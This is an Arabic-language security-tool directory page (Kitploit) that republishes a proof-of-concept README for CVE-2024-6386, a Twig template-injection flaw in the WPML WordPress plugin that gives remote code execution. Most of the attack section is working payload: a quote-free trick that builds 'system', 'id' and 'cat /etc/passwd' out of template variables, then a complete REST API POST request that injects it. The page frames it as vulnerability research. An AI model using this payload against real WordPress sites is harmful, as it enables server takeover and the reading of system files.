Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2024-6386 — بحث وإثبات مفهوم لـ CVE-2024-6386 | Kitploit
أدوات/GitHubGitHub/argendo/cve-2024-6386
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويباختبار الاختراقتطوير الحمولات
GitHubargendo/cve-2024-6386

CVE-2024-6386

بحث وإثبات مفهوم لـ CVE-2024-6386

عرض المستودع
510منذ 2 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2024-6386 - تنفيذ الأكواد عن بُعد عبر Twig SSTI في WPML

إثبات المفهوم (PoC)

PoC على Python+Selenium

بحث مفصّل بالروسية: CVE-2024-6386

مثال PoC

CVSS

النتيجة الأساسية: 9.9

المتجه: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

الملخص

في WPML يمكنك استخدام رموز WordPress القصيرة المحددة التي تتيح لك إنشاء وحدات ماكرو وتقديم قوالب Twig أيضًا. وبالتالي يمكنك بسهولة الحصول على SSTI منها.

سلسلة الاستغلال

SSTI

على سبيل المثال، لننشئ رمزًا قصيرًا لاستغلال SSTI:

root@kitploit:~
[wpml_language_switcher]
{{ 2*2 }}
[/wpml_language_switcher]

في هذه الحالة سنحصل على 4 كنتيجة لتقديم الرمز القصير الخاص بنا.

RCE

بسبب ترميز ووردبريس لجميع أنواع علامات الاقتباس إلى HTML، لا يمكننا استخدام الحمولات النموذجية، مثل:

root@kitploit:~
{{['id']|filter('system')}}

ومع ذلك يمكننا تعديل هذه الحمولة لاستدعاء أوامر نظام التشغيل من متغيرات مكوّنة من أحرف مثل: (s = 's').

للقيام بذلك، نحتاج إلى استدعاء بعض المتغيرات المحلية مثل:

  • css_classes
  • languages

الأول سيعيد لنا سلسلة نصية: wpml-ls-statics-shortcode_actions wpml-ls. الثاني يعيد كائن مصفوفة (Array) من اللغات.

وبمساعدة هذا يمكننا اقتطاع الرموز التي نحتاجها وإنشاء أبجدية خاصة بنا.

إذن، هنا نصنع أبجدية: [<space> ,a, c, i, d, s, y, t, e, m, p, w ]

ونعم، يجب علينا دمج languages مع قيمة فارغة للحصول على سلسلة قيمتها "Array" منها.

root@kitploit:~
{% set sp = css_classes|slice(33,1) %}
{% set a = css_classes|slice(10,1) %}
{% set c = css_classes|slice(13,1) %}
{% set i = css_classes|slice(12,1) %}
{% set d = css_classes|slice(23,1) %}
{% set s = css_classes|slice(6,1) %}
{% set y = languages|join|slice(4,1) %}
{% set t = css_classes|slice(9,1) %}
{% set e = css_classes|slice(24,1) %}
{% set m = css_classes|slice(2,1) %}
{% set p = css_classes|slice(1,1) %}
{% set w = css_classes|slice(0,1) %}

وبعد ذلك يمكننا دمج أبجديتنا في حمولات:

root@kitploit:~
{% set system = s~y~s~t~e~m %}
{% set pwd = p~w~d %}
{% set id = i~d %}
{% set cat = c~a~t %}
{% set sl = [pwd]|map(system)|join|slice(0,1) %}
{% set passwd = c~a~t~sp~sl~e~t~c~sl~p~a~s~s~w~d %}
{{[id]|map(system)|join}}
{{[pwd]|map(system)|join}}
{{[passwd]|map(system)|join}}

الاستغلال عبر Burp Suite

الأمر

root@kitploit:~
POST /wp-json/wp/v2/posts/30?_locale=user HTTP/1.1
Host: vulned.com

{
    "id":30,
    "content":"<!-- wp:shortcode -->\n[wpml_language_switcher]\n{% set sp = css_classes|slice(33,1) %}{% set a = css_classes|slice(10,1) %}{% set c = css_classes|slice(13,1) %}{% set i = css_classes|slice(12,1) %}{% set d = css_classes|slice(23,1) %}{% set s = css_classes|slice(6,1) %}{% set y = languages|join|slice(4,1) %}{% set t = css_classes|slice(9,1) %}{% set e = css_classes|slice(24,1) %}{% set m = css_classes|slice(2,1) %}{% set p = css_classes|slice(1,1) %}{% set w = css_classes|slice(0,1) %}{% set system = s~y~s~t~e~m %}{% set pwd = p~w~d %}{% set cat = c~a~t %}{% set sl = [pwd]|map(system)|join|slice(0,1) %}{% set id = i~d %}{% set passwd = c~a~t~sp~sl~e~t~c~sl~p~a~s~s~w~d %}{{[id]|map(system)|join}}\n[/wpml_language_switcher]<!-- /wp:shortcode -->"
}

نتيجة العرض

root@kitploit:~
GET /?p=30 HTTP/1.1
Host: vulned.com
تنزيل الأداة